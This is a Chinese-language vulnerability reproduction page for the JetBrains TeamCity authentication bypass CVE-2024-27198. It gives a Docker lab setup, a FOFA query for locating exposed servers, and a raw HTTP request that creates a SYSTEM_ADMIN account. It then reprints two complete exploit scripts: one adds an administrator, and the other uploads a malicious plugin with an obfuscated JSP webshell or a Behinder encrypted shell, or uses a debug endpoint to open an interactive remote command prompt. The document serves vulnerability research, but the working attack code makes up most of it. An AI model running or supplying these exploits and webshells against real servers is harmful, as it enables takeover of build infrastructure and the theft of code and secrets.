# JetBrains TeamCity 身份验证绕过漏洞 CVE-2024-27198 ## 漏洞描述 TeamCity 是 JetBrains 开发的功能强大的持续集成和持续部署(CI/CD)服务器,支持包括 Java、C#、C/C++、PL/SQL、Cobol 等二十几种编程语言的代码质量管理与检测。 CVE-2024-27198 漏洞存在于 JetBrains TeamCity 中,是一个身份验证绕过漏洞。该漏洞可能使未经身份验证的攻击者能够通过 HTTP(S) 访问 TeamCity 服务器来绕过身份验证检查并获得对该 TeamCity 服务器的管理控制。 参考链接: - https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/ - https://github.com/yoryio/CVE-2024-27198 - https://github.com/W01fh4cker/CVE-2024-27198-RCE ## 漏洞影响 ``` JetBrains TeamCity < 2023.11.4 ``` ## 网络测绘 ``` app="JET_BRAINS-TeamCity" ``` ## 环境搭建 执行如下命令启动一个 TeamCity 2023.11.3 服务器: ``` docker pull jetbrains/teamcity-server:2023.11.3 docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3 ``` 服务启动后,需要打开 `http://your-ip:8111/` 并执行一系列初始化操作,创建一个管理员账户。 ![](images/JetBrains%20TeamCity%20身份验证绕过漏洞%20%20CVE-2024-27198/image-20240718102244942.png) ## 漏洞复现 直接使用 [poc](https://github.com/yoryio/CVE-2024-27198) 创建一个新用户: ``` > python CVE-2024-27198.py -t http://your-ip:8111/ -u userthr33 -p passthr33 [+] Version Found: 2023.11.3 (build 147512) [+] Server vulnerable, returning HTTP 200 [+] New user userthr33 created succesfully! Go to http://your-ip:8111//login.html to login with your new credentials :) ``` ![](images/JetBrains%20TeamCity%20身份验证绕过漏洞%20%20CVE-2024-27198/image-20240718102832266.png) 使用创建的账号 `userthr33/passthr33` 登录: ![](images/JetBrains%20TeamCity%20身份验证绕过漏洞%20%20CVE-2024-27198/image-20240718102942369.png) 或者手动发包: ``` POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1 Host: your-ip:8111 x-teamcity-client: Web UI x-requested-with: XMLHttpRequest Referer: http://your-ip:8111/profile.html x-tc-csrf-token: a1f58037-7d9e-4934-9243-089e213c15e2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Content-Type: application/json Content-Length: 161 { "username": "userthr331", "password": "passthr331", "email": "userthr331@npc.com", "roles": { "role": [{ "roleId": "SYSTEM_ADMIN", "scope": "g" }] } } ``` ![](images/JetBrains%20TeamCity%20身份验证绕过漏洞%20%20CVE-2024-27198/image-20240718103838873.png) 使用创建的账号 `userthr331/passthr331` 登录: ![](images/JetBrains%20TeamCity%20身份验证绕过漏洞%20%20CVE-2024-27198/image-20240718103859090.png) ## 漏洞 POC [CVE-2024-27198.py](https://github.com/yoryio/CVE-2024-27198) ```python import requests import urllib3 import argparse import re urllib3.disable_warnings() parser = argparse.ArgumentParser() parser.add_argument("-t", "--target",required=True, help="Target TeamCity Server URL") parser.add_argument("-u", "--username", required=True,help="Insert username for the new user") parser.add_argument("-p", "--password",required=True, help="Insert password for the new user") args = parser.parse_args() vulnerable_endpoint = "/pwned?jsp=/app/rest/users;.jsp" # Attacker’s path to exploit CVE-2024-27198, please refer to the Rapid7's blogpost for more information def check_version(): response = requests.get(args.target+"/login.html", verify=False) repattern = r'Version(.+?)' # Regex pattern to extract the TeamCity version number try: version = re.findall(repattern, response.text)[0] print("[+] Version Found:", version) except: print("[-] Version not found") def exploit(): response = requests.get(args.target+vulnerable_endpoint, verify=False, timeout=10) http_code = response.status_code if http_code == 200: print("[+] Server vulnerable, returning HTTP", http_code) # HTTP 200 Status code is needed to confirm if the TeamCity Server is vulnerable to the auth bypass vuln create_user = { "username": args.username, "password": args.password, "email": f"{args.username}@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}, # Given admin permissions to your new user, basically you can have complete control of this TeamCity Server } headers = {"Content-Type": "application/json"} create_user = requests.post(args.target+vulnerable_endpoint, json=create_user, headers=headers, verify=False) # POST request to create the new user with admin privileges if create_user.status_code == 200: print("[+] New user", args.username, "created succesfully! Go to", args.target+"/login.html to login with your new credentials :)") else: print("[-] Error while creating new user") else: print("[-] Probable not vulnerable, returning HTTP", http_code) check_version() exploit() ``` [CVE-2024-27198-RCE.py](https://github.com/W01fh4cker/CVE-2024-27198-RCE) ```python import re import sys import string import random import time import zipfile import urllib3 import requests import argparse from faker import Faker import xml.etree.ElementTree as ET from urllib.parse import quote_plus urllib3.disable_warnings() token_name = "".join(random.choices(string.ascii_letters + string.digits, k=10)) GREEN = "\033[92m" RESET = "\033[0m" session = requests.Session() def GetTeamCityVersion(target): get_teamcity_version_url = target + "/hax?jsp=/app/rest/server;.jsp" get_teamcity_version_headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" } get_teamcity_version_response = session.get(url=get_teamcity_version_url, headers=get_teamcity_version_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600) root = ET.fromstring(get_teamcity_version_response.text) teamcity_version = root.attrib.get("version") return teamcity_version def GetOSName(target): get_os_name_url = target + "/hax?jsp=/app/rest/debug/jvm/systemProperties;.jsp" get_os_name_headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" } get_os_name_response = session.get(url=get_os_name_url, headers=get_os_name_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600) root = ET.fromstring(get_os_name_response.text) teamcity_info = { "arch": root.find(".//property[@name='os.arch']").get("value"), "name": root.find(".//property[@name='os.name']").get("value") } return teamcity_info["name"].lower() def GetUserID(response_text): try: root = ET.fromstring(response_text) user_info = { "username": root.attrib.get("username"), "id": root.attrib.get("id"), "email": root.attrib.get("email"), } return user_info["id"] except ET.ParseError as err: print(f"[-] Failed to parse user XML response: {err}", "!") return None def GetOSVersion(target): try: get_os_name_url = target + "/hax?jsp=/app/rest/debug/jvm/systemProperties;.jsp" get_os_name_headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" } get_os_name_response = session.get(url=get_os_name_url, headers=get_os_name_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600) root = ET.fromstring(get_os_name_response.text) teamcity_info = { "arch": root.find(".//property[@name='os.arch']").get("value"), "name": root.find(".//property[@name='os.name']").get("value") } return teamcity_info["name"].lower() except Exception as err: print("[-] Unable to obtain operating system version, please try manual exploitation.") print("[-] Error in func , error message: " + str(err)) def GenerateRandomString(length): characters = string.ascii_letters + string.digits return "".join(random.choices(characters, k=length)) def GetEvilPluginZipFile(shell_file_content, plugin_name): fake_info = Faker(languages=["en"]) zip_resources = zipfile.ZipFile(f"{plugin_name}.jar", "w") if shell_file_content == "": evil_plugin_jsp = r"""<%@ page pageEncoding="utf-8"%> <%@ page import="java.util.Scanner" %> <% String op=""; String query = request.getParameter("cmd"); String fileSeparator = String.valueOf(java.io.File.separatorChar); Boolean isWin; if(fileSeparator.equals("\\")){ isWin = true; }else{ isWin = false; } if (query != null) { ProcessBuilder pb; if(isWin) { pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query); }else{ pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query); } Process process = pb.start(); Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A"); op = sc.hasNext() ? sc.next() : op; sc.close(); } %> <%= op %> """ else: evil_plugin_jsp = shell_file_content evil_plugin_xml = f""" {plugin_name} {plugin_name} {fake_info.sentence()} 1.0 {fake_info.company()} {fake_info.url()} """ zip_resources.writestr(f"buildServerResources/{plugin_name}.jsp", evil_plugin_jsp) zip_resources.close() zip_plugin = zipfile.ZipFile(f"{plugin_name}.zip", "w") zip_plugin.write(filename=f"{plugin_name}.jar", arcname=f"server/{plugin_name}.jar") zip_plugin.writestr("teamcity-plugin.xml", evil_plugin_xml) zip_plugin.close() def GetPluginInfoJson(target, token): try: load_evil_plugin_url = target + "/admin/admin.html?item=plugins" load_evil_plugin_headers = { "Authorization": f"Bearer {token}", "Content-Type": "Content-Type: application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" } load_evil_plugin_response = session.get(url=load_evil_plugin_url, headers=load_evil_plugin_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600) register_plugin_pattern = r"BS\.Plugins\.registerPlugin\('([^']*)', '[^']*',[^,]*,[^,]*,\s*'([^']*)'\);" plugin_info_json = {} register_plugin_matches = re.findall(register_plugin_pattern, load_evil_plugin_response.text) for register_plugin_match in register_plugin_matches: plugin_name_ = register_plugin_match[0] uuid = register_plugin_match[1] plugin_info_json[plugin_name_] = uuid return plugin_info_json except: return None def GetCSRFToken(target, token): get_csrf_token_url = target + "/authenticationTest.html?csrf" get_csrf_token_headers = { "Authorization": f"Bearer {token}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" } get_csrf_token_response = session.post(url=get_csrf_token_url, headers=get_csrf_token_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600) if get_csrf_token_response.status_code == 200: return get_csrf_token_response.text else: return None def LoadEvilPlugin(target, plugin_name, token): plugin_info_json = GetPluginInfoJson(target, token) if not plugin_info_json.get(plugin_name): print("[-] The plugin just uploaded cannot be obtained. It may have been deleted by the administrator or AV or EDR") sys.exit(0) try: load_evil_plugin_url = target + "/admin/plugins.html" load_evil_plugin_headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", } load_evil_plugin_data = f"enabled=true&action=setEnabled&uuid={plugin_info_json[plugin_name]}" load_evil_plugin_response = session.post(url=load_evil_plugin_url, headers=load_evil_plugin_headers, data=load_evil_plugin_data, proxies=proxy, verify=False, allow_redirects=False, timeout=600) if load_evil_plugin_response.status_code == 200 and ("Plugin loaded successfully" in load_evil_plugin_response.text or "is already loaded" in load_evil_plugin_response.text): print(f"[+] Successfully load plugin {GREEN}{plugin_name}{RESET}") return True else: print(f"[-] Failed to load plugin {GREEN}{plugin_name}{RESET}") return False except: return False def UploadEvilPlugin(target, plugin_name, token): try: upload_evil_plugin_url = target + "/admin/pluginUpload.html" upload_evil_plugin_header = { "Authorization": f"Bearer {token}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" } files = { "fileName": (None, f"{plugin_name}.zip"), "file:fileToUpload": (f"{plugin_name}.zip", open(f"{plugin_name}.zip", "rb").read(), "application/zip") } session.cookies.clear() upload_evil_plugin_response = session.post(url=upload_evil_plugin_url, files=files, headers=upload_evil_plugin_header, proxies=proxy, verify=False, allow_redirects=False, timeout=600) if upload_evil_plugin_response.status_code == 200: return True else: return False except Exception as e: print(e) return False def ExecuteCommandByDebugEndpoint(target, os_version, command, token): try: command_encoded = quote_plus(command) if os_version == "linux": exec_cmd_url = target + f"/app/rest/debug/processes?exePath=/bin/sh¶ms=-c¶ms={command_encoded}" else: exec_cmd_url = target + f"/app/rest/debug/processes?exePath=cmd.exe¶ms=/c¶ms={command_encoded}" exec_cmd_headers = { "Authorization": f"Bearer {token}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" } exec_cmd_response = session.post(url=exec_cmd_url, headers=exec_cmd_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600) pattern = re.compile(r"StdOut:(.*?)StdErr:(.*?)$", re.DOTALL) match = re.search(pattern, exec_cmd_response.text) if match: stdout_content = match.group(1).strip() if stdout_content == "": stderr_content = match.group(2).strip() print(stderr_content.split("\n\n")[0]) else: print(stdout_content) else: print("[-] Match failed. Response text: \n" + exec_cmd_response.text) except Exception as err: print("[-] Error in func , error message: " + str(err)) def ExecuteCommandByEvilPlugin(shell_url, command, token): try: command_encoded = quote_plus(command) exec_cmd_headers = { "Authorization": f"Bearer {token}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } exec_cmd_response = session.post(url=shell_url, headers=exec_cmd_headers, proxies=proxy, data=f"cmd={command_encoded}", verify=False, allow_redirects=False, timeout=600) if exec_cmd_response.status_code == 200: print(exec_cmd_response.text.strip()) else: print(f"[-] Response Code: {exec_cmd_response.status_code}, Response text: {exec_cmd_response.text}\n") except Exception as err: print("[-] Error in func , error message: " + str(err)) def AddUser(target, username, password, domain): add_user_url = target + "/hax?jsp=/app/rest/users;.jsp" add_user_headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" } add_user_data = { "username": f"{username}", "password": f"{password}", "email": f"{username}@{domain}", "roles": { "role": [ { "roleId": "SYSTEM_ADMIN", "scope": "g" } ] } } try: add_user_response = session.post(url=add_user_url, json=add_user_data, headers=add_user_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600) user_id = GetUserID(add_user_response.text) if add_user_response.status_code == 200 and user_id is not None: print(f"[+] User added successfully, username: {GREEN}{username}{RESET}, password: {GREEN}{password}{RESET}, user ID: {GREEN}{user_id}{RESET}") return user_id else: print(f"[-] Failed to add user, there is no vulnerability in {target}") sys.exit(0) except Exception as err: print("[-] Error in func , error message: " + str(err)) sys.exit(0) def GetToken(target, user_id): exploit_url = target + f"/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp" exploit_headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" } try: exploit_response = session.post(url=exploit_url, headers=exploit_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600) root = ET.fromstring(exploit_response.text) token_info = { "name": root.attrib.get("name"), "value": root.attrib.get("value"), "creationTime": root.attrib.get("creationTime"), } return token_info["value"] except Exception as err: print(f"[-] Failed to parse token XML response") print("[-] Error in func , error message: " + str(err)) def ParseArguments(): banner = r""" _____ ____ _ _ ____ ____ _____ |_ _|__ __ _ _ __ ___ / ___(_) |_ _ _ | _ \ / ___| ____| | |/ _ \/ _` | '_ ` _ \| | | | __| | | | | |_) | | | _| | | __/ (_| | | | | | | |___| | |_| |_| | | _ <| |___| |___ |_|\___|\__,_|_| |_| |_|\____|_|\__|\__, | |_| \_\\____|_____| |___/ Author: @W01fh4cker Github: https://github.com/W01fh4cker """ print(banner) parser = argparse.ArgumentParser( description="CVE-2024-27198 & CVE-2024-27199 Authentication Bypass --> RCE in JetBrains TeamCity Pre-2023.11.4") parser.add_argument("-u", "--username", type=str, help="username you want to add. If left blank, it will be randomly generated.", required=False) parser.add_argument("-p", "--password", type=str, help="password you want to add. If left blank, it will be randomly generated.", required=False) parser.add_argument("-t", "--target", type=str, help="target url", required=True) parser.add_argument("-d", "--domain", type=str, default="example.com", help="The domain name of the email address", required=False) parser.add_argument("-f", "--file", type=str, help="The shell that you want to upload", required=False) parser.add_argument("--proxy", type=str, help="eg: http://127.0.0.1:8080", required=False) parser.add_argument("--behinder4", help="Upload the webshell of Behinder 4.0 [https://github.com/rebeyond/Behinder], the protocol is default_xor_base64", required=False, action="store_true") return parser.parse_args() if __name__ == "__main__": args = ParseArguments() if not args.username: username = "".join(random.choices(string.ascii_lowercase + string.digits, k=8)) else: username = args.username if not args.password: password = "".join(random.choices(string.ascii_letters + string.digits, k=10)) else: password = args.password if not args.proxy: proxy = {} else: proxy = { "http": args.proxy, "https": args.proxy } if args.file: shell_content = open(args.file, "r", encoding="utf-8").read() elif args.behinder4: shell_content = r"""<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %> <%! private byte[] Decrypt(byte[] data) throws Exception { byte[] decodebs; Class baseCls ; try{ baseCls=Class.forName("java.util.Base64"); Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null); decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data}); } catch (Throwable e) { baseCls = Class.forName("sun.misc.BASE64Decoder"); Object Decoder=baseCls.newInstance(); decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)}); } String key="e45e329feb5d925b"; for (int i = 0; i < decodebs.length; i++) { decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15])); } return decodebs; } %> <%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buf = new byte[512]; int length=request.getInputStream().read(buf); while (length>0) { byte[] data= Arrays.copyOfRange(buf,0,length); bos.write(data); length=request.getInputStream().read(buf); } out.clear(); out=pageContext.pushBody(); new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);} %>""" else: shell_content = "" target = args.target.rstrip("/") teamcity_version = GetTeamCityVersion(target) plugin_name = GenerateRandomString(8) user_id = AddUser(target=target, username=username, password=password, domain=args.domain) token = GetToken(target, user_id) csrf_token = GetCSRFToken(target, token) session.headers.update({"X-TC-CSRF-Token": csrf_token}) os_version = GetOSVersion(target) print(f"[+] The target operating system version is {GREEN}{os_version}{RESET}") if "2023.11." in teamcity_version.split(" ")[0]: print(f"[!] The current version is: {teamcity_version}. The official has deleted the /app/rest/debug/processes port. You can only upload a malicious plugin to upload webshell and cause RCE.") continue_code = input("[!] The program will automatically upload the webshell ofbehinder3.0. You can also specify the file to be uploaded through the parameter -f. Do you wish to continue? (y/n)") if continue_code.lower() != "y": sys.exit(0) else: GetEvilPluginZipFile(shell_content, plugin_name) if UploadEvilPlugin(target, plugin_name, token): print(f"[+] The malicious plugin {GREEN}{plugin_name}{RESET} was successfully uploaded and is trying to be activated") if LoadEvilPlugin(target, plugin_name, token): shell_url = f"{target}/plugins/{plugin_name}/{plugin_name}.jsp" print(f"[+] The malicious plugin {GREEN}{plugin_name}{RESET} was successfully activated! Webshell url: {GREEN}{shell_url}{RESET}") if args.behinder4: print(f"[+] Behinder4.0 Custom headers: \n{GREEN}X-TC-CSRF-Token: {csrf_token}\nAuthorization: Bearer {token}{RESET}") print(f"[+] Behinder4.0 transmission protocol: {GREEN}default_xor_base64{RESET}") if not args.file and not args.behinder4: print("[+] Please start executing commands freely! Type to end command execution") while True: command = input(f"{GREEN}command > {RESET}") if command == "quit": sys.exit(0) ExecuteCommandByEvilPlugin(shell_url, command, token) else: print(f"[-] Malicious plugin {GREEN}{plugin_name}{RESET} activation failed") else: print(f"[-] Malicious plugin {GREEN}{plugin_name}{RESET} upload failed") else: print("[+] Please start executing commands freely! Type to end command execution") while True: command = input(f"{GREEN}command > {RESET}") if command == "quit": sys.exit(0) ExecuteCommandByDebugEndpoint(target, os_version, command, token) ``` ## 漏洞修复 ### 通用修补建议 根据 `影响版本` 中的信息,排查并升级到 `安全版本`,或直接访问参考链接获取官方更新指南。